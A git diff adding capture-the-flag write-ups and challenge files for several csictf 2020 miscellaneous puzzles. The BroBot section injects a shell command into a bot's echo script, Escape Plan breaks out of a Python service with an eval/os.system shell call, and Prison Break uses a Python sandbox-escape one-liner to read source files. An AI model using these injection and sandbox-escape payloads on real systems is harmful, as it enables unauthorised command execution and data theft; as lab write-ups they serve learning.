diff --git a/Miscellaneous/BroBot/README.md b/Miscellaneous/BroBot/README.md new file mode 100644 index 0000000..4d66858 --- /dev/null +++ b/Miscellaneous/BroBot/README.md @@ -0,0 +1,34 @@ +## BroBot +The main idea finding the flag is just using Bot to get the flag. + +#### Step-1: +I tried `/about` to get information about the bot and got this: + +```python +CTF - https://ctf.csivit.com/ +Our Team - https://ctftime.org/team/77170/ +Homepage - https://csivit.com/ +Contribute - https://github.com/alias-rahil/speakingbot.git/ +CTF Support - https://discord.com/invite/9wHPB2B/ +BoT Support - @alias_rahil +``` +#### Step-2: +I used `/text2voice`. I linked to the source of the bot. It writes our text as `arg` for `echo` in a bash script. Then pipes the script's output to `espeak` to get the sound. + +#### Step-3: +I got this from [writeup](https://github.com/goswami-rahul/ctf/tree/master/csictf2020/brobot) to execute. + +```bash +fs = open(f"/home/ctf/{update.message.from_user.id}", "w") + fs.write(f"echo '{text}'") + fs.close() + os.system( + f"su ctf -c 'sh /home/ctf/{update.message.from_user.id} | espeak -w /home/ctf/{update.message.from_user.id}.wav --stdin'" +) +``` + +Then a simple `';cat flag.txt;'` gives us the answer. + +#### Step-4: +Finally the flag becomes: +`csictf{ai_will_take_over_the_world}` \ No newline at end of file diff --git a/Miscellaneous/Escape Plan/Flag.png b/Miscellaneous/Escape Plan/Flag.png new file mode 100644 index 0000000..8d179da Binary files /dev/null and b/Miscellaneous/Escape Plan/Flag.png differ diff --git a/Miscellaneous/Escape Plan/README.md b/Miscellaneous/Escape Plan/README.md new file mode 100644 index 0000000..580000b --- /dev/null +++ b/Miscellaneous/Escape Plan/README.md @@ -0,0 +1,84 @@ +## Escape Plan +The main idea finding the flag is just spawning into a sandbox. + +#### Step-1: +When we run `nc chall.csivit.com 30419`, we are greeted with, + +```bash +Welcome to cipher decoder, an open-source script in python! + +EXAMPLES: + shift_cipher_key('hello', 25) + shift_cipher_bruteforce('hello') + encrypt_vigenere('TEXT', 'KEY') + decrypt_vigenere('DIVD', 'KEY') + +Currently supported ciphers: + shift_cipher_key(text, shift) + shift_cipher_bruteforce(text) + encrypt_vigenere(plaintext, key) + decrypt_vigenere(ciphertext, key) + +To exit: + exit() + +I am constantly trying to make this cipher decoder better and more secure! Help me add support to more ciphers by submitting a PR! +Hope it helps you! +``` + +#### Step-2: +So to escape, I tried `eval('__import__("os").system("/bin/bash")')` and I was in. + +Once in I directly checked, `ls -al`, and I got this: + +```bash +total 20 +drwxr-x--- 1 root ctf 4096 Jul 22 06:35 . +drwxr-xr-x 1 root root 4096 Jul 26 16:58 .. +drwxr-x--- 1 root ctf 4096 Jul 22 06:27 .git +-rwxr-x--- 1 root ctf 2654 Jul 22 06:27 crypto.py +-rwxr-x--- 1 root ctf 52 Jul 22 06:27 start.sh +``` + +#### Step-3: +I checked other files, but I will stick to procedure here. Since the description involved a PR, I checked `.git` first by `cd .git`. I got usual files: + +```bash +COMMIT_EDITMSG +HEAD +config +description +hooks +index +info +logs +objects +packed-refs +refs +``` +At this point, I generally check `logs` to get an overview over the changes in the repo, but here the permission was denied. + +#### Step-4: +So, I checked config files by `cat config` and I got this: + +```bash +[core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true +[remote "origin"] + url = https://github.com/alias-rahil/crypto-cli + fetch = +refs/heads/*:refs/remotes/origin/* +[branch "master"] + remote = origin + merge = refs/heads/master +``` +#### Step-4: +Now, I got a URL and checked at the given head and got the flag. + + + +#### Step-5: +Finally the flag becomes: +`csictf{2077m4y32_h45_35c4p3d}` diff --git a/Miscellaneous/Friends/README.md b/Miscellaneous/Friends/README.md new file mode 100644 index 0000000..7aaab75 --- /dev/null +++ b/Miscellaneous/Friends/README.md @@ -0,0 +1,226 @@ +## Friends +The main idea finding the flag is just parsing the input smartly. + +#### Step-1: +When we download `namo.py`, we are greeted with: + +```python +import math +import sys + +def fancy(x): + a = (1/2) * x + b = (1/2916) * ((27 * x - 155) ** 2) + c = 4096 / 729 + d = (b - c) ** (1/2) + e = (a - d - 155/54) ** (1/3) + f = (a + d - 155/54) ** (1/3) + g = e + f + 5/3 + return g + +def notfancy(x): + return x**3 - 5*x**2 + 3*x + 10 + +def mathStuff(x): + if (x < 3 or x > 100): + exit() + + y = fancy(notfancy(x)) + + if isinstance(y, complex): + y = float(y.real) + + y = round(y, 0) + return y + +print("Enter a number: ") +sys.stdout.flush() +x = round(float(input()), 0) +if x == mathStuff(x): + print('Fail') + sys.stdout.flush() +else: + print(open('namo.txt').read()) + sys.stdout.flush() +``` + +#### Step-2: +So I tried basic numbers and it worked according to the given algorithm but however, we could try a float `nan` and then I ran it along with the remote server to enter the `else` condition at the end. + +```bash +echo nan | nc chall.csivit.com 30425 +``` +Output: + +```bash +Enter a number: +Mitrooon +bhaiyo aur behno "Enter a number" +mann ki baat nambar + +agar nambar barabar 1 hai { + bhaiyo aur behno "s" +} + +nahi toh agar nambar barabar 13 hai { + bhaiyo aur behno "_" +} + + +nahi toh agar nambar barabar 15 hai { + bhaiyo aur behno "5" +} + + +nahi toh agar nambar barabar 22 hai { + bhaiyo aur behno "4" +} + + +nahi toh agar nambar barabar 28 hai { + bhaiyo aur behno "k" +} + + +nahi toh agar nambar barabar 8 hai { + bhaiyo aur behno "y" +} + + +nahi toh agar nambar barabar 17 hai { + bhaiyo aur behno "4" +} + + +nahi toh agar nambar barabar 9 hai { + bhaiyo aur behno "_" +} + + +nahi toh agar nambar barabar 4 hai { + bhaiyo aur behno "t" +} + + +nahi toh agar nambar barabar 3 hai { + bhaiyo aur behno "c" +} + + +nahi toh agar nambar barabar 20 hai { + bhaiyo aur behno "r" +} + + +nahi toh agar nambar barabar 12 hai { + bhaiyo aur behno "n" +} + + +nahi toh agar nambar barabar 0 hai { + bhaiyo aur behno "c" +} + + +nahi toh agar nambar barabar 23 hai { + bhaiyo aur behno "t" +} + + +nahi toh agar nambar barabar 27 hai { + bhaiyo aur behno "0" +} + + +nahi toh agar nambar barabar 10 hai { + bhaiyo aur behno "n" +} + + +nahi toh agar nambar barabar 11 hai { + bhaiyo aur behno "4" +} + + +nahi toh agar nambar barabar 7 hai { + bhaiyo aur behno "m" +} + + +nahi toh agar nambar barabar 25 hai { + bhaiyo aur behno "c" +} + + +nahi toh agar nambar barabar 24 hai { + bhaiyo aur behno "_" +} + + +nahi toh agar nambar barabar 6 hai { + bhaiyo aur behno "{" +} + + +nahi toh agar nambar barabar 16 hai { + bhaiyo aur behno "_" +} + + +nahi toh agar nambar barabar 18 hai { + bhaiyo aur behno "_" +} + + +nahi toh agar nambar barabar 2 hai { + bhaiyo aur behno "i" +} + + +nahi toh agar nambar barabar 5 hai { + bhaiyo aur behno "f" +} + + +nahi toh agar nambar barabar 19 hai { + bhaiyo aur behno "g" +} + + +nahi toh agar nambar barabar 14 hai { + bhaiyo aur behno "1" +} + + +nahi toh agar nambar barabar 21 hai { + bhaiyo aur behno "3" +} + + +nahi toh agar nambar barabar 26 hai { + bhaiyo aur behno "0" +} + + +nahi toh agar nambar barabar 29 hai { + bhaiyo aur behno "}" +} + +nahi toh { + bhaiyo aur behno "" +} + +achhe din aa gaye +``` + +#### Step-3: +Simple substitution like 0=c, 1=s, 2=i in the context of flag like `csictf{`, would also work. Instead I got this script to get the flag. + +```bash +echo nan | nc chall.csivit.com 30425 | grep -A1 'hai {' | sed 's/agar nambar barabar //' | sed 's/nahi toh //' | sed 's/ hai {$/ =/' | sed 's/^\tbhaiyo aur behno \"//' | sed 's/\"$//' | sed 's/--//' | sed ':a;N;$!ba;s/=\n/ /g' | sort -n | uniq | awk '{print $2}' | tr -d '\n'; echo '' +``` +This is a 1 liner and we get the flag after this. + +#### Step-5: +Finally the flag becomes: +`csictf{my_n4n_15_4_gr34t_c00k}` \ No newline at end of file diff --git a/Miscellaneous/Friends/namo.py b/Miscellaneous/Friends/namo.py new file mode 100644 index 0000000..e7aa43e --- /dev/null +++ b/Miscellaneous/Friends/namo.py @@ -0,0 +1,38 @@ +import math +import sys + +def fancy(x): + a = (1/2) * x + b = (1/2916) * ((27 * x - 155) ** 2) + c = 4096 / 729 + d = (b - c) ** (1/2) + e = (a - d - 155/54) ** (1/3) + f = (a + d - 155/54) ** (1/3) + g = e + f + 5/3 + return g + +def notfancy(x): + return x**3 - 5*x**2 + 3*x + 10 + +def mathStuff(x): + if (x < 3 or x > 100): + exit() + + y = fancy(notfancy(x)) + + if isinstance(y, complex): + y = float(y.real) + + y = round(y, 0) + return y + +print("Enter a number: ") +sys.stdout.flush() +x = round(float(input()), 0) +if x == mathStuff(x): + print('Fail') + sys.stdout.flush() +else: + print(open('namo.txt').read()) + sys.stdout.flush() + \ No newline at end of file diff --git a/Miscellaneous/Machine Fix/README.md b/Miscellaneous/Machine Fix/README.md new file mode 100644 index 0000000..f4064c8 --- /dev/null +++ b/Miscellaneous/Machine Fix/README.md @@ -0,0 +1,51 @@ +## Machine Fix +The main idea finding the flag is just understanding the algorithm. + +#### Step-1: + +After I downloaded `code.py`, I tried to understand the workflow here: + +```python +def convert (n): + if n == 0: + return '0' + nums = [] + while n: + n, r = divmod(n, 3) + nums.append(str(r)) + return ''.join(reversed(nums)) + +count=0 +n=1 +while(n<=523693181734689806809285195318): + str1=convert(n) + str2=convert(n-1) + str2='0'*(len(str1)-len(str2))+str2 + for i in range(len(str1)): + if(str1[i]!=str2[i]): + count+=1 + n+=1 + +print(count) +``` + +#### Step-2: +For every number n, n and n - 1 are converted to base 3 & then, the program compare the digits, the number of differences is added to total. + +So I wrote a simple `flag.py` script to get flag: + +```python +def flag(n): + sum = 0 + while (n > 0): + sum += n + n //= 3 + return sum + +print(flag(523693181734689806809285195318)) +``` +On running it by `python3 flag.py` + +#### Step-3: +Finally the flag becomes: +`csictf{785539772602034710213927792950}` \ No newline at end of file diff --git a/Miscellaneous/Machine Fix/code.py b/Miscellaneous/Machine Fix/code.py new file mode 100644 index 0000000..6ec30f9 --- /dev/null +++ b/Miscellaneous/Machine Fix/code.py @@ -0,0 +1,21 @@ +def convert (n): + if n == 0: + return '0' + nums = [] + while n: + n, r = divmod(n, 3) + nums.append(str(r)) + return ''.join(reversed(nums)) + +count=0 +n=1 +while(n<=523693181734689806809285195318): + str1=convert(n) + str2=convert(n-1) + str2='0'*(len(str1)-len(str2))+str2 + for i in range(len(str1)): + if(str1[i]!=str2[i]): + count+=1 + n+=1 + +print(count) \ No newline at end of file diff --git a/Miscellaneous/Machine Fix/flag.py b/Miscellaneous/Machine Fix/flag.py new file mode 100644 index 0000000..10a774a --- /dev/null +++ b/Miscellaneous/Machine Fix/flag.py @@ -0,0 +1,8 @@ +def flag(n): + sum = 0 + while (n > 0): + sum += n + n //= 3 + return sum + +print(flag(523693181734689806809285195318)) \ No newline at end of file diff --git a/Miscellaneous/No DIStractions/Flag.png b/Miscellaneous/No DIStractions/Flag.png new file mode 100644 index 0000000..a32f3ba Binary files /dev/null and b/Miscellaneous/No DIStractions/Flag.png differ diff --git a/Miscellaneous/No DIStractions/README.md b/Miscellaneous/No DIStractions/README.md new file mode 100644 index 0000000..57f541a --- /dev/null +++ b/Miscellaneous/No DIStractions/README.md @@ -0,0 +1,15 @@ +## No DIStractions +The main idea finding the flag is getting the flag from Discord Bot. + +#### Step-1: + +The tag `Discord` clearly implies that you have to check something out there. So, I went to misc channel and checked out this bot called `Kuwu`. + +#### Step-2: +After trying `flag`, `./flag`, etc., it worked on `.flag`. + + + +#### Step-3: +Finally the flag becomes: +`csictf{m0r3_huMaN_than_Y0u}` \ No newline at end of file diff --git a/Miscellaneous/Prison Break/README.md b/Miscellaneous/Prison Break/README.md new file mode 100644 index 0000000..fcd02dd --- /dev/null +++ b/Miscellaneous/Prison Break/README.md @@ -0,0 +1,79 @@ +## Prison Break +The main idea finding the flag is just escaping Python Sandbox. + +#### Step-1: +After I ran `nc chall.csivit.com 30407`, we get this a python sandbox. + +I tried various commands like flag and ctf and all, but nothing worked. + +#### Step-2: +Thanks to organiser, they gave some hint: https://ctf-wiki.github.io/ctf-wiki/pwn//linux/sandbox/python-sandbox-escape/ + +#### Step-3: +There I got this 1 liner to escape the sandbox. + +**Payload:** +```python +print(().__class__.__bases__[0].__subclasses__()[40](__file__).read()) +``` + +I got the source code, which had the flag. + +```python +#!/usr/bin/python + +import sys + +class Sandbox(object): + def execute(self, code_string): + exec(code_string) + sys.stdout.flush() + +sandbox = Sandbox() + +_raw_input = raw_input + +main = sys.modules["__main__"].__dict__ +orig_builtins = main["__builtins__"].__dict__ + +builtins_whitelist = set(( + #exceptions + 'ArithmeticError', 'AssertionError', 'AttributeError', 'Exception', + + #constants + 'False', 'None', 'True', + + #types + 'basestring', 'bytearray', 'bytes', 'complex', 'dict', + + #functions + 'abs', 'bin', 'dir', 'help' + + # blocked: eval, execfile, exit, file, quit, reload, import, etc. +)) + +for builtin in orig_builtins.keys(): + if builtin not in builtins_whitelist: + del orig_builtins[builtin] + +print("Find the flag.") +sys.stdout.flush() + +def flag_function(): + flag = "csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}" + +while 1: + try: + sys.stdout.write(">>> ") + sys.stdout.flush() + code = _raw_input() + sandbox.execute(code) + + except Exception: + print("You have encountered an error.") + sys.stdout.flush() +``` + +#### Step-4: +Finally the flag becomes: +`csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}` \ No newline at end of file